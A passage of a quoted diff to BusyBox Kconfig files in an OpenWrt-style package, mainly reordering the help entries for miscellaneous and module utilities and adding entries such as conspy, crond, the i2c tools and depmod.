> -	  The -S flag causes long lines to be truncated rather than
> -	  wrapped.
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_MARKS
> -	bool "Enable marks"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_MARKS
> -	depends on BUSYBOX_CONFIG_LESS
> -	help
> -	  Marks enable positions in a file to be stored for easy reference.
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_REGEXP
> -	bool "Enable regular expressions"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_REGEXP
> -	depends on BUSYBOX_CONFIG_LESS
> -	help
> -	  Enable regular expressions, allowing complex file searches.
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_WINCH
> -	bool "Enable automatic resizing on window size changes"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_WINCH
> -	depends on BUSYBOX_CONFIG_LESS
> -	help
> -	  Makes less track window size changes.
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_ASK_TERMINAL
> -	bool "Use 'tell me cursor position' ESC sequence to measure window"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_ASK_TERMINAL
> -	depends on BUSYBOX_CONFIG_FEATURE_LESS_WINCH
> -	help
> -	  Makes less track window size changes.
> -	  If terminal size can't be retrieved and $LINES/$COLUMNS are not set,
> -	  this option makes less perform a last-ditch effort to find it:
> -	  position cursor to 999,999 and ask terminal to report real
> -	  cursor position using "ESC [ 6 n" escape sequence, then read stdin.
> -
> -	  This is not clean but helps a lot on serial lines and such.
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_DASHCMD
> -	bool "Enable flag changes ('-' command)"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_DASHCMD
> -	depends on BUSYBOX_CONFIG_LESS
> -	help
> -	  This enables the ability to change command-line flags within
> -	  less itself ('-' keyboard command).
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_LINENUMS
> -	bool "Enable dynamic switching of line numbers"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_LINENUMS
> -	depends on BUSYBOX_CONFIG_FEATURE_LESS_DASHCMD
> -	help
> -	  Enables "-N" command.
> -config BUSYBOX_CONFIG_NANDWRITE
> -	bool "nandwrite"
> -	default BUSYBOX_DEFAULT_NANDWRITE
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Write to the specified MTD device, with bad blocks awareness
> -
> -config BUSYBOX_CONFIG_NANDDUMP
> -	bool "nanddump"
> -	default BUSYBOX_DEFAULT_NANDDUMP
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Dump the content of raw NAND chip
> -config BUSYBOX_CONFIG_RFKILL
> -	bool "rfkill"
> -	default BUSYBOX_DEFAULT_RFKILL # doesn't build on Ubuntu 9.04
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Enable/disable wireless devices.
> -
> -	  rfkill list : list all wireless devices
> -	  rfkill list bluetooth : list all bluetooth devices
> -	  rfkill list 1 : list device corresponding to the given index
> -	  rfkill block|unblock wlan : block/unblock all wlan(wifi) devices
> -
> -config BUSYBOX_CONFIG_SETSERIAL
> -	bool "setserial"
> -	default BUSYBOX_DEFAULT_SETSERIAL
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Retrieve or set Linux serial port.
> -config BUSYBOX_CONFIG_TASKSET
> -	bool "taskset"
> -	default BUSYBOX_DEFAULT_TASKSET  # doesn't build on some non-x86 targets (m68k)
> -	help
> -	  Retrieve or set a processes's CPU affinity.
> -	  This requires sched_{g,s}etaffinity support in your libc.
> -
> -config BUSYBOX_CONFIG_FEATURE_TASKSET_FANCY
> -	bool "Fancy output"
> -	default BUSYBOX_DEFAULT_FEATURE_TASKSET_FANCY
> -	depends on BUSYBOX_CONFIG_TASKSET
> -	help
> -	  Add code for fancy output. This merely silences a compiler-warning
> -	  and adds about 135 Bytes. May be needed for machines with alot
> -	  of CPUs.
> -config BUSYBOX_CONFIG_UBIATTACH
> -	bool "ubiattach"
> -	default BUSYBOX_DEFAULT_UBIATTACH
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Attach MTD device to an UBI device.
> -
> -config BUSYBOX_CONFIG_UBIDETACH
> -	bool "ubidetach"
> -	default BUSYBOX_DEFAULT_UBIDETACH
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Detach MTD device from an UBI device.
> -
> -config BUSYBOX_CONFIG_UBIMKVOL
> -	bool "ubimkvol"
> -	default BUSYBOX_DEFAULT_UBIMKVOL
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Create a UBI volume.
> -
> -config BUSYBOX_CONFIG_UBIRMVOL
> -	bool "ubirmvol"
> -	default BUSYBOX_DEFAULT_UBIRMVOL
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Delete a UBI volume.
> -
> -config BUSYBOX_CONFIG_UBIRSVOL
> -	bool "ubirsvol"
> -	default BUSYBOX_DEFAULT_UBIRSVOL
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Resize a UBI volume.
> -
> -config BUSYBOX_CONFIG_UBIUPDATEVOL
> -	bool "ubiupdatevol"
> -	default BUSYBOX_DEFAULT_UBIUPDATEVOL
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Update a UBI volume.
> -config BUSYBOX_CONFIG_UBIRENAME
> -	bool "ubirename"
> -	default BUSYBOX_DEFAULT_UBIRENAME
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Utility to rename UBI volumes
> -config BUSYBOX_CONFIG_WALL
> -	bool "wall"
> -	default BUSYBOX_DEFAULT_WALL
> -	depends on BUSYBOX_CONFIG_FEATURE_UTMP
> -	help
> -	  Write a message to all users that are logged in.
> -
>   config BUSYBOX_CONFIG_ADJTIMEX
>   	bool "adjtimex"
>   	default BUSYBOX_DEFAULT_ADJTIMEX
> @@ -266,7 +13,6 @@ config BUSYBOX_CONFIG_ADJTIMEX
>   	help
>   	  Adjtimex reads and optionally sets adjustment parameters for
>   	  the Linux clock adjustment algorithm.
> -
>   config BUSYBOX_CONFIG_BBCONFIG
>   	bool "bbconfig"
>   	default BUSYBOX_DEFAULT_BBCONFIG
> @@ -287,7 +33,6 @@ config BUSYBOX_CONFIG_FEATURE_COMPRESS_BBCONFIG
>   	  be noticeable. Also, if you run executables directly from ROM
>   	  and have very little memory, this might not be a win. Otherwise,
>   	  you probably want this.
> -
>   config BUSYBOX_CONFIG_BEEP
>   	bool "beep"
>   	default BUSYBOX_DEFAULT_BEEP
> @@ -310,7 +55,6 @@ config BUSYBOX_CONFIG_FEATURE_BEEP_LENGTH_MS
>   	depends on BUSYBOX_CONFIG_BEEP
>   	help
>   	  Length in ms for default beep.
> -
>   config BUSYBOX_CONFIG_CHAT
>   	bool "chat"
>   	default BUSYBOX_DEFAULT_CHAT
> @@ -377,14 +121,54 @@ config BUSYBOX_CONFIG_FEATURE_CHAT_CLR_ABORT
>   	default BUSYBOX_DEFAULT_FEATURE_CHAT_CLR_ABORT
>   	help
>   	  Support CLR_ABORT directive.
> -
>   config BUSYBOX_CONFIG_CHRT
>   	bool "chrt"
>   	default BUSYBOX_DEFAULT_CHRT
>   	help
>   	  manipulate real-time attributes of a process.
>   	  This requires sched_{g,s}etparam support in your libc.
> +config BUSYBOX_CONFIG_CONSPY
> +	bool "conspy"
> +	default BUSYBOX_DEFAULT_CONSPY
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  A text-mode VNC like program for Linux virtual terminals.
> +	  example:  conspy NUM      shared access to console num
> +	  or        conspy -nd NUM  screenshot of console num
> +	  or        conspy -cs NUM  poor man's GNU screen like
> +config BUSYBOX_CONFIG_CROND
> +	bool "crond"
> +	default BUSYBOX_DEFAULT_CROND
> +	select BUSYBOX_CONFIG_FEATURE_SYSLOG
> +	help
> +	  Crond is a background daemon that parses individual crontab
> +	  files and executes commands on behalf of the users in question.
> +	  This is a port of dcron from slackware. It uses files of the
> +	  format /var/spool/cron/crontabs/<username> files, for example:
> +	      $ cat /var/spool/cron/crontabs/root
> +	      # Run daily cron jobs at 4:40 every day:
> +	      40 4 * * * /etc/cron/daily > /dev/null 2>&1
>   
> +config BUSYBOX_CONFIG_FEATURE_CROND_D
> +	bool "Support option -d to redirect output to stderr"
> +	depends on BUSYBOX_CONFIG_CROND
> +	default BUSYBOX_DEFAULT_FEATURE_CROND_D
> +	help
> +	  -d N sets loglevel (0:most verbose) and directs all output to stderr.
> +
> +config BUSYBOX_CONFIG_FEATURE_CROND_CALL_SENDMAIL
> +	bool "Report command output via email (using sendmail)"
> +	default BUSYBOX_DEFAULT_FEATURE_CROND_CALL_SENDMAIL
> +	depends on BUSYBOX_CONFIG_CROND
> +	help
> +	  Command output will be sent to corresponding user via email.
> +
> +config BUSYBOX_CONFIG_FEATURE_CROND_DIR
> +	string "crond spool directory"
> +	default BUSYBOX_DEFAULT_FEATURE_CROND_DIR
> +	depends on BUSYBOX_CONFIG_CROND || BUSYBOX_CONFIG_CRONTAB
> +	help
> +	  Location of crond spool.
>   config BUSYBOX_CONFIG_CRONTAB
>   	bool "crontab"
>   	default BUSYBOX_DEFAULT_CRONTAB
> @@ -393,7 +177,6 @@ config BUSYBOX_CONFIG_CRONTAB
>   	  the superuser may specify a different user and/or crontab directory.
>   	  Note that Busybox binary must be setuid root for this applet to
>   	  work properly.
> -
>   config BUSYBOX_CONFIG_DC
>   	bool "dc"
>   	default BUSYBOX_DEFAULT_DC
> @@ -408,7 +191,6 @@ config BUSYBOX_CONFIG_FEATURE_DC_LIBM
>   	help
>   	  Enable power and exp functions.
>   	  NOTE: This will require libm to be present for linking.
> -
>   config BUSYBOX_CONFIG_DEVFSD
>   	bool "devfsd (obsolete)"
>   	default BUSYBOX_DEFAULT_DEVFSD
> @@ -465,14 +247,12 @@ config BUSYBOX_CONFIG_FEATURE_DEVFS
>   	  tells busybox to look for names like /dev/loop/0 instead of
>   	  /dev/loop0. If your /dev directory has normal names instead of
>   	  devfs names, you don't want this.
> -
>   config BUSYBOX_CONFIG_DEVMEM
>   	bool "devmem"
>   	default BUSYBOX_DEFAULT_DEVMEM
>   	help
>   	  devmem is a small program that reads and writes from physical
>   	  memory using /dev/mem.
> -
>   config BUSYBOX_CONFIG_EJECT
>   	bool "eject"
>   	default BUSYBOX_DEFAULT_EJECT
> @@ -487,7 +267,6 @@ config BUSYBOX_CONFIG_FEATURE_EJECT_SCSI
>   	help
>   	  Add the -s option to eject, this allows to eject SCSI-Devices and
>   	  usb-storage devices.
> -
>   config BUSYBOX_CONFIG_FBSPLASH
>   	bool "fbsplash"
>   	default BUSYBOX_DEFAULT_FBSPLASH
> @@ -509,65 +288,31 @@ config BUSYBOX_CONFIG_FBSPLASH
>   	  - commands for fifo:
>   	    "NN" (ASCII decimal number) - percentage to show on progress bar
>   	    "exit" - well you guessed it
> -
> -config BUSYBOX_CONFIG_FLASHCP
> -	bool "flashcp"
> -	default BUSYBOX_DEFAULT_FLASHCP  # doesn't build on Ubuntu 8.04
> -	help
> -	  The flashcp binary, inspired by mtd-utils as of git head 5eceb74f7.
> -	  This utility is used to copy images into a MTD device.
> -
> -config BUSYBOX_CONFIG_FLASH_LOCK
> -	bool "flash_lock"
> -	default BUSYBOX_DEFAULT_FLASH_LOCK  # doesn't build on Ubuntu 8.04
> -	help
> -	  The flash_lock binary from mtd-utils as of git head 5ec0c10d0. This
> -	  utility locks part or all of the flash device.
> -
> -config BUSYBOX_CONFIG_FLASH_UNLOCK
> -	bool "flash_unlock"
> -	default BUSYBOX_DEFAULT_FLASH_UNLOCK  # doesn't build on Ubuntu 8.04
> -	help
> -	  The flash_unlock binary from mtd-utils as of git head 5ec0c10d0. This
> -	  utility unlocks part or all of the flash device.
> -
>   config BUSYBOX_CONFIG_FLASH_ERASEALL
>   	bool "flash_eraseall"
>   	default BUSYBOX_DEFAULT_FLASH_ERASEALL  # doesn't build on Ubuntu 8.04
>   	help
>   	  The flash_eraseall binary from mtd-utils as of git head c4c6a59eb.
>   	  This utility is used to erase the whole MTD device.
> -
> -config BUSYBOX_CONFIG_IONICE
> -	bool "ionice"
> -	default BUSYBOX_DEFAULT_IONICE
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Set/set program io scheduling class and priority
> -	  Requires kernel >= 2.6.13
> -
> -config BUSYBOX_CONFIG_INOTIFYD
> -	bool "inotifyd"
> -	default BUSYBOX_DEFAULT_INOTIFYD  # doesn't build on Knoppix 5
> -	help
> -	  Simple inotify daemon. Reports filesystem changes. Requires
> -	  kernel >= 2.6.13
> -
> -config BUSYBOX_CONFIG_LAST
> -	bool "last"
> -	default BUSYBOX_DEFAULT_LAST
> -	depends on BUSYBOX_CONFIG_FEATURE_WTMP
> -	help
> -	  'last' displays a list of the last users that logged into the system.
> -
> -config BUSYBOX_CONFIG_FEATURE_LAST_FANCY
> -	bool "Turn on output of extra information"
> -	default BUSYBOX_DEFAULT_FEATURE_LAST_FANCY
> -	depends on BUSYBOX_CONFIG_LAST
> +config BUSYBOX_CONFIG_FLASH_LOCK
> +	bool "flash_lock"
> +	default BUSYBOX_DEFAULT_FLASH_LOCK  # doesn't build on Ubuntu 8.04
>   	help
> -	  'last' displays detailed information about the last users that
> -	  logged into the system (mimics sysvinit last). +900 bytes.
> +	  The flash_lock binary from mtd-utils as of git head 5ec0c10d0. This
> +	  utility locks part or all of the flash device.
>   
> +config BUSYBOX_CONFIG_FLASH_UNLOCK
> +	bool "flash_unlock"
> +	default BUSYBOX_DEFAULT_FLASH_UNLOCK  # doesn't build on Ubuntu 8.04
> +	help
> +	  The flash_unlock binary from mtd-utils as of git head 5ec0c10d0. This
> +	  utility unlocks part or all of the flash device.
> +config BUSYBOX_CONFIG_FLASHCP
> +	bool "flashcp"
> +	default BUSYBOX_DEFAULT_FLASHCP  # doesn't build on Ubuntu 8.04
> +	help
> +	  The flashcp binary, inspired by mtd-utils as of git head 5eceb74f7.
> +	  This utility is used to copy images into a MTD device.
>   config BUSYBOX_CONFIG_HDPARM
>   	bool "hdparm"
>   	default BUSYBOX_DEFAULT_HDPARM
> @@ -626,13 +371,149 @@ config BUSYBOX_CONFIG_FEATURE_HDPARM_HDIO_GETSET_DMA
>   	depends on BUSYBOX_CONFIG_HDPARM
>   	help
>   	  Enables the 'hdparm -d' option to get/set using_dma flag.
> +config BUSYBOX_CONFIG_I2CGET
> +	bool "i2cget"
> +	default BUSYBOX_DEFAULT_I2CGET
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Read from I2C/SMBus chip registers.
> +
> +config BUSYBOX_CONFIG_I2CSET
> +	bool "i2cset"
> +	default BUSYBOX_DEFAULT_I2CSET
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Set I2C registers.
> +
> +config BUSYBOX_CONFIG_I2CDUMP
> +	bool "i2cdump"
> +	default BUSYBOX_DEFAULT_I2CDUMP
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Examine I2C registers.
> +
> +config BUSYBOX_CONFIG_I2CDETECT
> +	bool "i2cdetect"
> +	default BUSYBOX_DEFAULT_I2CDETECT
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Detect I2C chips.
> +
> +config BUSYBOX_CONFIG_INOTIFYD
> +	bool "inotifyd"
> +	default BUSYBOX_DEFAULT_INOTIFYD  # doesn't build on Knoppix 5
> +	help
> +	  Simple inotify daemon. Reports filesystem changes. Requires
> +	  kernel >= 2.6.13
> +config BUSYBOX_CONFIG_IONICE
> +	bool "ionice"
> +	default BUSYBOX_DEFAULT_IONICE
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Set/set program io scheduling class and priority
> +	  Requires kernel >= 2.6.13
> +config BUSYBOX_CONFIG_LAST
> +	bool "last"
> +	default BUSYBOX_DEFAULT_LAST
> +	depends on BUSYBOX_CONFIG_FEATURE_WTMP
> +	help
> +	  'last' displays a list of the last users that logged into the system.
> +
> +config BUSYBOX_CONFIG_FEATURE_LAST_FANCY
> +	bool "Turn on output of extra information"
> +	default BUSYBOX_DEFAULT_FEATURE_LAST_FANCY
> +	depends on BUSYBOX_CONFIG_LAST
> +	help
> +	  'last' displays detailed information about the last users that
> +	  logged into the system (mimics sysvinit last). +900 bytes.
> +config BUSYBOX_CONFIG_LESS
> +	bool "less"
> +	default BUSYBOX_DEFAULT_LESS
> +	help
> +	  'less' is a pager, meaning that it displays text files. It possesses
> +	  a wide array of features, and is an improvement over 'more'.
> +
> +config BUSYBOX_CONFIG_FEATURE_LESS_MAXLINES
> +	int "Max number of input lines less will try to eat"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_MAXLINES
> +	depends on BUSYBOX_CONFIG_LESS
> +
> +config BUSYBOX_CONFIG_FEATURE_LESS_BRACKETS
> +	bool "Enable bracket searching"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_BRACKETS
> +	depends on BUSYBOX_CONFIG_LESS
> +	help
> +	  This option adds the capability to search for matching left and right
> +	  brackets, facilitating programming.
> +
> +config BUSYBOX_CONFIG_FEATURE_LESS_FLAGS
> +	bool "Enable -m/-M"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_FLAGS
> +	depends on BUSYBOX_CONFIG_LESS
> +	help
> +	  The -M/-m flag enables a more sophisticated status line.
> +
> +config BUSYBOX_CONFIG_FEATURE_LESS_TRUNCATE
> +	bool "Enable -S"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_TRUNCATE
> +	depends on BUSYBOX_CONFIG_LESS
> +	help
> +	  The -S flag causes long lines to be truncated rather than
> +	  wrapped.
> +
> +config BUSYBOX_CONFIG_FEATURE_LESS_MARKS
> +	bool "Enable marks"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_MARKS
> +	depends on BUSYBOX_CONFIG_LESS
> +	help
> +	  Marks enable positions in a file to be stored for easy reference.
> +
> +config BUSYBOX_CONFIG_FEATURE_LESS_REGEXP
> +	bool "Enable regular expressions"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_REGEXP
> +	depends on BUSYBOX_CONFIG_LESS
> +	help
> +	  Enable regular expressions, allowing complex file searches.
> +
> +config BUSYBOX_CONFIG_FEATURE_LESS_WINCH
> +	bool "Enable automatic resizing on window size changes"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_WINCH
> +	depends on BUSYBOX_CONFIG_LESS
> +	help
> +	  Makes less track window size changes.
> +
> +config BUSYBOX_CONFIG_FEATURE_LESS_ASK_TERMINAL
> +	bool "Use 'tell me cursor position' ESC sequence to measure window"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_ASK_TERMINAL
> +	depends on BUSYBOX_CONFIG_FEATURE_LESS_WINCH
> +	help
> +	  Makes less track window size changes.
> +	  If terminal size can't be retrieved and $LINES/$COLUMNS are not set,
> +	  this option makes less perform a last-ditch effort to find it:
> +	  position cursor to 999,999 and ask terminal to report real
> +	  cursor position using "ESC [ 6 n" escape sequence, then read stdin.
> +
> +	  This is not clean but helps a lot on serial lines and such.
> +
> +config BUSYBOX_CONFIG_FEATURE_LESS_DASHCMD
> +	bool "Enable flag changes ('-' command)"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_DASHCMD
> +	depends on BUSYBOX_CONFIG_LESS
> +	help
> +	  This enables the ability to change command-line flags within
> +	  less itself ('-' keyboard command).
>   
> +config BUSYBOX_CONFIG_FEATURE_LESS_LINENUMS
> +	bool "Enable dynamic switching of line numbers"
> +	default BUSYBOX_DEFAULT_FEATURE_LESS_LINENUMS
> +	depends on BUSYBOX_CONFIG_FEATURE_LESS_DASHCMD
> +	help
> +	  Enables "-N" command.
>   config BUSYBOX_CONFIG_LOCK
>   	bool "lock"
>   	default BUSYBOX_DEFAULT_LOCK
>   	help
>   	  Small utility for using locks in scripts
> -
>   config BUSYBOX_CONFIG_MAKEDEVS
>   	bool "makedevs"
>   	default BUSYBOX_DEFAULT_MAKEDEVS
> @@ -664,25 +545,21 @@ config BUSYBOX_CONFIG_FEATURE_MAKEDEVS_TABLE
>   	bool "table"
>   
>   endchoice
> -
>   config BUSYBOX_CONFIG_MAN
>   	bool "man"
>   	default BUSYBOX_DEFAULT_MAN
>   	help
>   	  Format and display manual pages.
> -
>   config BUSYBOX_CONFIG_MICROCOM
>   	bool "microcom"
>   	default BUSYBOX_DEFAULT_MICROCOM
>   	help
>   	  The poor man's minicom utility for chatting with serial port devices.
> -
>   config BUSYBOX_CONFIG_MOUNTPOINT
>   	bool "mountpoint"
>   	default BUSYBOX_DEFAULT_MOUNTPOINT
>   	help
>   	  mountpoint checks if the directory is a mountpoint.
> -
>   config BUSYBOX_CONFIG_MT
>   	bool "mt"
>   	default BUSYBOX_DEFAULT_MT
> @@ -690,7 +567,19 @@ config BUSYBOX_CONFIG_MT
>   	  mt is used to control tape devices. You can use the mt utility
>   	  to advance or rewind a tape past a specified number of archive
>   	  files on the tape.
> +config BUSYBOX_CONFIG_NANDWRITE
> +	bool "nandwrite"
> +	default BUSYBOX_DEFAULT_NANDWRITE
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Write to the specified MTD device, with bad blocks awareness
>   
> +config BUSYBOX_CONFIG_NANDDUMP
> +	bool "nanddump"
> +	default BUSYBOX_DEFAULT_NANDDUMP
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Dump the content of raw NAND chip
>   config BUSYBOX_CONFIG_RAIDAUTORUN
>   	bool "raidautorun"
>   	default BUSYBOX_DEFAULT_RAIDAUTORUN
> @@ -698,7 +587,6 @@ config BUSYBOX_CONFIG_RAIDAUTORUN
>   	help
>   	  raidautorun tells the kernel md driver to
>   	  search and start RAID arrays.
> -
>   config BUSYBOX_CONFIG_READAHEAD
>   	bool "readahead"
>   	default BUSYBOX_DEFAULT_READAHEAD
> @@ -716,6 +604,17 @@ config BUSYBOX_CONFIG_READAHEAD
>   
>   	  As readahead(2) blocks until each file has been read, it is best to
>   	  run this applet as a background job.
> +config BUSYBOX_CONFIG_RFKILL
> +	bool "rfkill"
> +	default BUSYBOX_DEFAULT_RFKILL # doesn't build on Ubuntu 9.04
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Enable/disable wireless devices.
> +
> +	  rfkill list : list all wireless devices
> +	  rfkill list bluetooth : list all bluetooth devices
> +	  rfkill list 1 : list device corresponding to the given index
> +	  rfkill block|unblock wlan : block/unblock all wlan(wifi) devices
>   
>   config BUSYBOX_CONFIG_RUNLEVEL
>   	bool "runlevel"
> @@ -726,27 +625,44 @@ config BUSYBOX_CONFIG_RUNLEVEL
>   
>   	  This applet uses utmp but does not rely on busybox supporing
>   	  utmp on purpose. It is used by e.g. emdebian via /etc/init.d/rc.
> -
>   config BUSYBOX_CONFIG_RX
>   	bool "rx"
>   	default BUSYBOX_DEFAULT_RX
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  Receive files using the Xmodem protocol.
> -
> +config BUSYBOX_CONFIG_SETSERIAL
> +	bool "setserial"
> +	default BUSYBOX_DEFAULT_SETSERIAL
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Retrieve or set Linux serial port.
>   config BUSYBOX_CONFIG_SETSID
>   	bool "setsid"
>   	default BUSYBOX_DEFAULT_SETSID
>   	help
>   	  setsid runs a program in a new session
> -
>   config BUSYBOX_CONFIG_STRINGS
>   	bool "strings"
>   	default BUSYBOX_DEFAULT_STRINGS
>   	help
>   	  strings prints the printable character sequences for each file
>   	  specified.
> +config BUSYBOX_CONFIG_TASKSET
> +	bool "taskset"
> +	default BUSYBOX_DEFAULT_TASKSET  # doesn't build on some non-x86 targets (m68k)
> +	help
> +	  Retrieve or set a processes's CPU affinity.
> +	  This requires sched_{g,s}etaffinity support in your libc.
>   
> +config BUSYBOX_CONFIG_FEATURE_TASKSET_FANCY
> +	bool "Fancy output"
> +	default BUSYBOX_DEFAULT_FEATURE_TASKSET_FANCY
> +	depends on BUSYBOX_CONFIG_TASKSET
> +	help
> +	  Add code for fancy output. This merely silences a compiler-warning
> +	  and adds about 135 Bytes. May be needed for machines with alot
> +	  of CPUs.
>   config BUSYBOX_CONFIG_TIME
>   	bool "time"
>   	default BUSYBOX_DEFAULT_TIME
> @@ -754,14 +670,12 @@ config BUSYBOX_CONFIG_TIME
>   	  The time command runs the specified program with the given arguments.
>   	  When the command finishes, time writes a message to standard output
>   	  giving timing statistics about this program run.
> -
>   config BUSYBOX_CONFIG_TIMEOUT
>   	bool "timeout"
>   	default BUSYBOX_DEFAULT_TIMEOUT
>   	help
>   	  Runs a program and watches it. If it does not terminate in
>   	  specified number of seconds, it is sent a signal.
> -
>   config BUSYBOX_CONFIG_TTYSIZE
>   	bool "ttysize"
>   	default BUSYBOX_DEFAULT_TTYSIZE
> @@ -770,13 +684,64 @@ config BUSYBOX_CONFIG_TTYSIZE
>   	  only height, or both, in any order. It also does not complain on
>   	  error, but returns default 80x24.
>   	  Usage in shell scripts: width=`ttysize w`.
> +config BUSYBOX_CONFIG_UBIATTACH
> +	bool "ubiattach"
> +	default BUSYBOX_DEFAULT_UBIATTACH
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Attach MTD device to an UBI device.
> +
> +config BUSYBOX_CONFIG_UBIDETACH
> +	bool "ubidetach"
> +	default BUSYBOX_DEFAULT_UBIDETACH
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Detach MTD device from an UBI device.
> +
> +config BUSYBOX_CONFIG_UBIMKVOL
> +	bool "ubimkvol"
> +	default BUSYBOX_DEFAULT_UBIMKVOL
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Create a UBI volume.
> +
> +config BUSYBOX_CONFIG_UBIRMVOL
> +	bool "ubirmvol"
> +	default BUSYBOX_DEFAULT_UBIRMVOL
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Delete a UBI volume.
> +
> +config BUSYBOX_CONFIG_UBIRSVOL
> +	bool "ubirsvol"
> +	default BUSYBOX_DEFAULT_UBIRSVOL
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Resize a UBI volume.
>   
> +config BUSYBOX_CONFIG_UBIUPDATEVOL
> +	bool "ubiupdatevol"
> +	default BUSYBOX_DEFAULT_UBIUPDATEVOL
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Update a UBI volume.
> +config BUSYBOX_CONFIG_UBIRENAME
> +	bool "ubirename"
> +	default BUSYBOX_DEFAULT_UBIRENAME
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Utility to rename UBI volumes
>   config BUSYBOX_CONFIG_VOLNAME
>   	bool "volname"
>   	default BUSYBOX_DEFAULT_VOLNAME
>   	help
>   	  Prints a CD-ROM volume name.
> -
> +config BUSYBOX_CONFIG_WALL
> +	bool "wall"
> +	default BUSYBOX_DEFAULT_WALL
> +	depends on BUSYBOX_CONFIG_FEATURE_UTMP
> +	help
> +	  Write a message to all users that are logged in.
>   config BUSYBOX_CONFIG_WATCHDOG
>   	bool "watchdog"
>   	default BUSYBOX_DEFAULT_WATCHDOG
> diff --git a/package/utils/busybox/config/modutils/Config.in b/package/utils/busybox/config/modutils/Config.in
> index 8e0e2af..5203db8 100644
> --- a/package/utils/busybox/config/modutils/Config.in
> +++ b/package/utils/busybox/config/modutils/Config.in
> @@ -6,13 +6,6 @@
>   
>   menu "Linux Module Utilities"
>   
> -config BUSYBOX_CONFIG_MODINFO
> -	bool "modinfo"
> -	default BUSYBOX_DEFAULT_MODINFO
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Show information about a Linux Kernel module
> -
>   config BUSYBOX_CONFIG_MODPROBE_SMALL
>   	bool "Simplified modutils"
>   	default BUSYBOX_DEFAULT_MODPROBE_SMALL
> @@ -44,41 +37,23 @@ config BUSYBOX_CONFIG_MODPROBE_SMALL
>   	  - rmmod is an alias to modprobe -r
>   	  - depmod generates modules.dep.bb
>   
> -config BUSYBOX_CONFIG_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
> -	bool "Accept module options on modprobe command line"
> -	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
> -	depends on BUSYBOX_CONFIG_MODPROBE_SMALL
> +config BUSYBOX_CONFIG_DEPMOD
> +	bool "depmod"
> +	default BUSYBOX_DEFAULT_DEPMOD
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
> -	  Allow insmod and modprobe take module options from command line.
> -
> -config BUSYBOX_CONFIG_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
> -	bool "Skip loading of already loaded modules"
> -	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
> -	depends on BUSYBOX_CONFIG_MODPROBE_SMALL
> -	help
> -	  Check if the module is already loaded.
> -
> +	  depmod generates modules.dep (and potentially modules.alias
> +	  and modules.symbols) that contain dependency information
> +	  for modprobe.
>   config BUSYBOX_CONFIG_INSMOD
>   	bool "insmod"
>   	default BUSYBOX_DEFAULT_INSMOD
> -	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  insmod is used to load specified modules in the running kernel.
> -
> -config BUSYBOX_CONFIG_RMMOD
> -	bool "rmmod"
> -	default BUSYBOX_DEFAULT_RMMOD
